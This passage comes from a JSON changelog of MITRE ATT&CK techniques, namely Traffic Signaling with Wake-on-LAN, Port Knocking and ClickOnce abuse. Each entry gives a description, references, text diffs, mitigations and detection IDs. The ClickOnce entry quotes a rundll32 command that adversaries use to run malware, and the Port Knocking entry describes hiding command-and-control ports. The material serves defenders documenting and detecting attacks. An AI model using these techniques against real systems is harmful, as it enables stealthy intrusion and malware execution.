nowrap=\"nowrap\">(Citation:&nbsp;Cisco&nbsp;Blog&nbsp;Legacy&nbsp;Device&nbsp;Attacks)&nbsp;&nbsp;To&nbsp;enable&nbsp;this</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;traffic&nbsp;signaling&nbsp;on&nbsp;embedded&nbsp;devices,&nbsp;adversaries&nbsp;must&nbsp;fi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;traffic&nbsp;signaling&nbsp;on&nbsp;embedded&nbsp;devices,&nbsp;adversaries&nbsp;must&nbsp;fir</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rst&nbsp;achieve&nbsp;and&nbsp;leverage&nbsp;[Patch&nbsp;System&nbsp;Image](https://attack</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">st&nbsp;achieve&nbsp;and&nbsp;leverage&nbsp;[Patch&nbsp;System&nbsp;Image](https://attack.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.mitre.org/techniques/T1601/001)&nbsp;due&nbsp;to&nbsp;the&nbsp;monolithic&nbsp;natur</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mitre.org/techniques/T1601/001)&nbsp;due&nbsp;to&nbsp;the&nbsp;monolithic&nbsp;nature</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;of&nbsp;the&nbsp;architecture.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;use&nbsp;the&nbsp;Wake-on</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;of&nbsp;the&nbsp;architecture.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;use&nbsp;the&nbsp;Wake-on-</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">-LAN&nbsp;feature&nbsp;to&nbsp;turn&nbsp;on&nbsp;powered&nbsp;off&nbsp;systems.&nbsp;Wake-on-LAN&nbsp;is&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">LAN&nbsp;feature&nbsp;to&nbsp;turn&nbsp;on&nbsp;powered&nbsp;off&nbsp;systems.&nbsp;Wake-on-LAN&nbsp;is&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;hardware&nbsp;feature&nbsp;that&nbsp;allows&nbsp;a&nbsp;powered&nbsp;down&nbsp;system&nbsp;to&nbsp;be&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;hardware&nbsp;feature&nbsp;that&nbsp;allows&nbsp;a&nbsp;powered&nbsp;down&nbsp;system&nbsp;to&nbsp;be&nbsp;po</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">owered&nbsp;on,&nbsp;or&nbsp;woken&nbsp;up,&nbsp;by&nbsp;sending&nbsp;a&nbsp;magic&nbsp;packet&nbsp;to&nbsp;it.&nbsp;Onc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">wered&nbsp;on,&nbsp;or&nbsp;woken&nbsp;up,&nbsp;by&nbsp;sending&nbsp;a&nbsp;magic&nbsp;packet&nbsp;to&nbsp;it.&nbsp;Once</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;the&nbsp;system&nbsp;is&nbsp;powered&nbsp;on,&nbsp;it&nbsp;may&nbsp;become&nbsp;a&nbsp;target&nbsp;for&nbsp;later</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;system&nbsp;is&nbsp;powered&nbsp;on,&nbsp;it&nbsp;may&nbsp;become&nbsp;a&nbsp;target&nbsp;for&nbsp;latera</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">al&nbsp;movement.(Citation:&nbsp;Bleeping&nbsp;Computer&nbsp;-&nbsp;Ryuk&nbsp;WoL)(Citatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;movement.(Citation:&nbsp;Bleeping&nbsp;Computer&nbsp;-&nbsp;Ryuk&nbsp;WoL)(Citation</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;AMD&nbsp;Magic&nbsp;Packet)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;AMD&nbsp;Magic&nbsp;Packet)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1037: Filter Network Traffic",
                            "M1042: Disable or Remove Feature or Program"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0524: Traffic Signaling (Port-knock / magic-packet \u2192 firewall or service activation) \u2013 T1205"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-07-01 18:23:25.002000+00:00",
                    "modified": "2026-11-04 00:39:13.003000+00:00",
                    "name": "Port Knocking",
                    "description": "Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r,(Citation: Hartrell cd00r 2002) is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "command-and-control"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1205/001",
                            "external_id": "T1205.001"
                        },
                        {
                            "source_name": "Hartrell cd00r 2002",
                            "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.",
                            "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Network Devices",
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:39:13.003000+00:00\", \"old_value\": \"2026-05-12 15:12:00.688000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\\n\\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\\n\\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r,(Citation: Hartrell cd00r 2002) is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\", \"old_value\": \"Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\\n\\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\\n\\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\\n \\n-The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\\n+The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r,(Citation: Hartrell cd00r 2002) is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to50__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to50__0\"><a href=\"#difflib_chg_to50__top\">t</a></td><td class=\"diff_header\" id=\"from50_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;port&nbsp;knocking&nbsp;to&nbsp;hide&nbsp;open&nbsp;ports&nbsp;used&nbsp;fo</td><td class=\"diff_next\"><a href=\"#difflib_chg_to50__top\">t</a></td><td class=\"diff_header\" id=\"to50_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;port&nbsp;knocking&nbsp;to&nbsp;hide&nbsp;open&nbsp;ports&nbsp;used&nbsp;fo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;persistence&nbsp;or&nbsp;command&nbsp;and&nbsp;control.&nbsp;To&nbsp;enable&nbsp;a&nbsp;port,&nbsp;an&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;persistence&nbsp;or&nbsp;command&nbsp;and&nbsp;control.&nbsp;To&nbsp;enable&nbsp;a&nbsp;port,&nbsp;an&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dversary&nbsp;sends&nbsp;a&nbsp;series&nbsp;of&nbsp;attempted&nbsp;connections&nbsp;to&nbsp;a&nbsp;predef</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dversary&nbsp;sends&nbsp;a&nbsp;series&nbsp;of&nbsp;attempted&nbsp;connections&nbsp;to&nbsp;a&nbsp;predef</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ined&nbsp;sequence&nbsp;of&nbsp;closed&nbsp;ports.&nbsp;After&nbsp;the&nbsp;sequence&nbsp;is&nbsp;complet</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ined&nbsp;sequence&nbsp;of&nbsp;closed&nbsp;ports.&nbsp;After&nbsp;the&nbsp;sequence&nbsp;is&nbsp;complet</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed,&nbsp;opening&nbsp;a&nbsp;port&nbsp;is&nbsp;often&nbsp;accomplished&nbsp;by&nbsp;the&nbsp;host&nbsp;based&nbsp;f</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed,&nbsp;opening&nbsp;a&nbsp;port&nbsp;is&nbsp;often&nbsp;accomplished&nbsp;by&nbsp;the&nbsp;host&nbsp;based&nbsp;f</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">irewall,&nbsp;but&nbsp;could&nbsp;also&nbsp;be&nbsp;implemented&nbsp;by&nbsp;custom&nbsp;software.&nbsp;&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">irewall,&nbsp;but&nbsp;could&nbsp;also&nbsp;be&nbsp;implemented&nbsp;by&nbsp;custom&nbsp;software.&nbsp;&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">This&nbsp;technique&nbsp;has&nbsp;been&nbsp;observed&nbsp;both&nbsp;for&nbsp;the&nbsp;dynamic&nbsp;openin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">This&nbsp;technique&nbsp;has&nbsp;been&nbsp;observed&nbsp;both&nbsp;for&nbsp;the&nbsp;dynamic&nbsp;openin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;of&nbsp;a&nbsp;listening&nbsp;port&nbsp;as&nbsp;well&nbsp;as&nbsp;the&nbsp;initiating&nbsp;of&nbsp;a&nbsp;connect</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;of&nbsp;a&nbsp;listening&nbsp;port&nbsp;as&nbsp;well&nbsp;as&nbsp;the&nbsp;initiating&nbsp;of&nbsp;a&nbsp;connect</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion&nbsp;to&nbsp;a&nbsp;listening&nbsp;server&nbsp;on&nbsp;a&nbsp;different&nbsp;system.&nbsp;&nbsp;The&nbsp;observ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion&nbsp;to&nbsp;a&nbsp;listening&nbsp;server&nbsp;on&nbsp;a&nbsp;different&nbsp;system.&nbsp;&nbsp;The&nbsp;observ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation&nbsp;of&nbsp;the&nbsp;signal&nbsp;packets&nbsp;to&nbsp;trigger&nbsp;the&nbsp;communication&nbsp;can</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation&nbsp;of&nbsp;the&nbsp;signal&nbsp;packets&nbsp;to&nbsp;trigger&nbsp;the&nbsp;communication&nbsp;can</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;be&nbsp;conducted&nbsp;through&nbsp;different&nbsp;methods.&nbsp;One&nbsp;means,&nbsp;original</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;be&nbsp;conducted&nbsp;through&nbsp;different&nbsp;methods.&nbsp;One&nbsp;means,&nbsp;original</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ly&nbsp;implemented&nbsp;by&nbsp;Cd00r<span class=\"diff_chg\">&nbsp;</span>(Citation:&nbsp;Hartrell&nbsp;cd00r&nbsp;2002),&nbsp;<span class=\"diff_chg\">is&nbsp;</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ly&nbsp;implemented&nbsp;by&nbsp;Cd00r<span class=\"diff_chg\">,</span>(Citation:&nbsp;Hartrell&nbsp;cd00r&nbsp;2002)<span class=\"diff_add\">&nbsp;is&nbsp;t</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">to&nbsp;use&nbsp;the&nbsp;libpcap&nbsp;libraries&nbsp;to&nbsp;sniff&nbsp;for&nbsp;the&nbsp;packets&nbsp;in&nbsp;que</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">o&nbsp;use&nbsp;the&nbsp;libpcap&nbsp;libraries&nbsp;to&nbsp;sniff&nbsp;for&nbsp;the&nbsp;packets&nbsp;in&nbsp;ques</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">stion</span>.<span class=\"diff_sub\">&nbsp;Another&nbsp;method&nbsp;leverages&nbsp;raw&nbsp;sockets,&nbsp;which&nbsp;enables&nbsp;t</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">tion.&nbsp;Another&nbsp;method&nbsp;leverages&nbsp;raw&nbsp;sockets</span>,&nbsp;<span class=\"diff_chg\">which&nbsp;enables&nbsp;th</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">he&nbsp;malware&nbsp;to&nbsp;use&nbsp;ports&nbsp;that&nbsp;are&nbsp;already&nbsp;open&nbsp;for&nbsp;use&nbsp;by&nbsp;oth</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">e&nbsp;malware&nbsp;to&nbsp;use&nbsp;ports&nbsp;that&nbsp;are&nbsp;already&nbsp;open&nbsp;for&nbsp;use&nbsp;by&nbsp;othe</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">er&nbsp;programs.</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">r&nbsp;programs</span>.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1037: Filter Network Traffic"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0302: Port-knock \u2192 rule/daemon change \u2192 first successful connect (T1205.001)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--cc279e50-df85-4c8e-be80-6dc2eda8849c",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2024-09-09 14:39:28.637000+00:00",
                    "modified": "2026-11-03 23:43:18.243000+00:00",
                    "name": "ClickOnce",
                    "description": "Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat) ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e., .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.(Citation: SpectorOps Medium ClickOnce)\n\nBecause ClickOnce applications receive only limited permissions, they do not require administrative permissions to install.(Citation: Microsoft Learn ClickOnce) As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges.\n\nClickOnce may be abused in a number of ways. For example, an adversary may rely on [User Execution](https://attack.mitre.org/techniques/T1204). When a user visits a malicious website, the .NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.(Citation: NetSPI ClickOnce)\n\nAdversaries may also abuse ClickOnce to execute malware via a [Rundll32](https://attack.mitre.org/techniques/T1218/011) script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.(Citation: LOLBAS /Dfsvc.exe)\n\nAdditionally, an adversary can move the ClickOnce application file to a remote user\u2019s startup folder for continued malicious code deployment (i.e., [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001)).(Citation: Burke/CISA ClickOnce BlackHat)(Citation: Burke/CISA ClickOnce Paper)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "execution"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1127/002",
                            "external_id": "T1127.002"
                        },
                        {
                            "source_name": "LOLBAS /Dfsvc.exe",
                            "description": "LOLBAS. (n.d.). /Dfsvc.exe. Retrieved September 9, 2024.",
                            "url": "https://lolbas-project.github.io/lolbas/Binaries/Dfsvc/"
                        },
                        {
                            "source_name": "Microsoft Learn ClickOnce",
                            "description": "Microsoft. (2023, September 14). ClickOnce security and deployment. Retrieved September 9, 2024.",
                            "url": "https://learn.microsoft.com/en-us/visualstudio/deployment/clickonce-security-and-deployment?view=vs-2022"
                        },
                        {
                            "source_name": "SpectorOps Medium ClickOnce",
                            "description": "Nick Powers. (2023, June 7). Less SmartScreen More Caffeine: (Ab)Using ClickOnce for Trusted Code Execution. Retrieved September 9, 2024.",
                            "url": "https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5"
                        },
                        {
                            "source_name": "NetSPI ClickOnce",
                            "description": "Ryan Gandrud. (2015, March 23). All You Need Is One \u2013 A ClickOnce Love Story. Retrieved September 9, 2024.",
                            "url": "https://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/"
                        },
                        {
                            "source_name": "Burke/CISA ClickOnce Paper",
                            "description": "William J. Burke IV. (n.d.). Appref-ms Abuse for  Code Execution & C2. Retrieved September 9, 2024.",
                            "url": "https://i.blackhat.com/USA-19/Wednesday/us-19-Burke-ClickOnce-And-Youre-In-When-Appref-Ms-Abuse-Is-Operating-As-Intended-wp.pdf?_gl=1*1jv89bf*_gcl_au*NjAyMzkzMjc3LjE3MjQ4MDk4OTQ.*_ga*MTk5OTA3ODkwMC4xNzI0ODA5ODk0*_ga_K4JK67TFYV*MTcyNDgwOTg5NC4xLjEuMTcyNDgwOTk1Ny4wLjAuMA..&_ga=2.256219723.1512103758.1724809895-1999078900.1724809894"
                        },
                        {
                            "source_name": "Burke/CISA ClickOnce BlackHat",
                            "description": "William Joseph Burke III. (2019, August 7). CLICKONCE AND YOU\u2019RE IN: When .appref-ms abuse is operating as intended. Retrieved September 9, 2024.",
                            "url": "https://i.blackhat.com/USA-19/Wednesday/us-19-Burke-ClickOnce-And-Youre-In-When-Appref-Ms-Abuse-Is-Operating-As-Intended.pdf?_gl=1*16njas6*_gcl_au*NjAyMzkzMjc3LjE3MjQ4MDk4OTQ.*_ga*MTk5OTA3ODkwMC4xNzI0ODA5ODk0*_ga_K4JK67TFYV*MTcyNDgwOTg5NC4xLjEuMTcyNDgwOTk1Ny4wLjAuMA..&_ga=2.253743689.1512103758.1724809895-1999078900.1724809894"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Wirapong Petshagun"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_remote_support": false,
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:43:18.243000+00:00\", \"old_value\": \"2026-05-12 15:12:00.716000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat) ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e., .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.(Citation: SpectorOps Medium ClickOnce)\\n\\nBecause ClickOnce applications receive only limited permissions, they do not require administrative permissions to install.(Citation: Microsoft Learn ClickOnce) As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges.\\n\\nClickOnce may be abused in a number of ways. For example, an adversary may rely on [User Execution](https://attack.mitre.org/techniques/T1204). When a user visits a malicious website, the .NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.(Citation: NetSPI ClickOnce)\\n\\nAdversaries may also abuse ClickOnce to execute malware via a [Rundll32](https://attack.mitre.org/techniques/T1218/011) script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.(Citation: LOLBAS /Dfsvc.exe)\\n\\nAdditionally, an adversary can move the ClickOnce application file to a remote user\\u2019s startup folder for continued malicious code deployment (i.e., [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001)).(Citation: Burke/CISA ClickOnce BlackHat)(Citation: Burke/CISA ClickOnce Paper)\", \"old_value\": \"Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat) ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e, .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.(Citation: SpectorOps Medium ClickOnce)\\n\\nBecause ClickOnce applications receive only limited permissions, they do not require administrative permissions to install.(Citation: Microsoft Learn ClickOnce) As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges.\\n\\nClickOnce may be abused in a number of ways. For example, an adversary may rely on [User Execution](https://attack.mitre.org/techniques/T1204). When a user visits a malicious website, the .NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.(Citation: NetSPI ClickOnce)\\n\\nAdversaries may also abuse ClickOnce to execute malware via a [Rundll32](https://attack.mitre.org/techniques/T1218/011) script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.(Citation: LOLBAS /Dfsvc.exe)\\n\\nAdditionally, an adversary can move the ClickOnce application file to a remote user\\u2019s startup folder for continued malicious code deployment (i.e., [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001)).(Citation: Burke/CISA ClickOnce BlackHat)(Citation: Burke/CISA ClickOnce Paper)\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat) ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e, .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.(Citation: SpectorOps Medium ClickOnce)\\n+Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat) ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e., .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.(Citation: SpectorOps Medium ClickOnce)\\n \\n Because ClickOnce applications receive only limited permissions, they do not require administrative permissions to install.(Citation: Microsoft Learn ClickOnce) As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges.\\n \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to61__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to61__0\"><a href=\"#difflib_chg_to61__top\">t</a></td><td class=\"diff_header\" id=\"from61_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;ClickOnce&nbsp;applications&nbsp;(.appref-ms&nbsp;and&nbsp;.</td><td class=\"diff_next\"><a href=\"#difflib_chg_to61__top\">t</a></td><td class=\"diff_header\" id=\"to61_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;ClickOnce&nbsp;applications&nbsp;(.appref-ms&nbsp;and&nbsp;.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">application&nbsp;files)&nbsp;to&nbsp;proxy&nbsp;execution&nbsp;of&nbsp;code&nbsp;through&nbsp;a&nbsp;trus</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 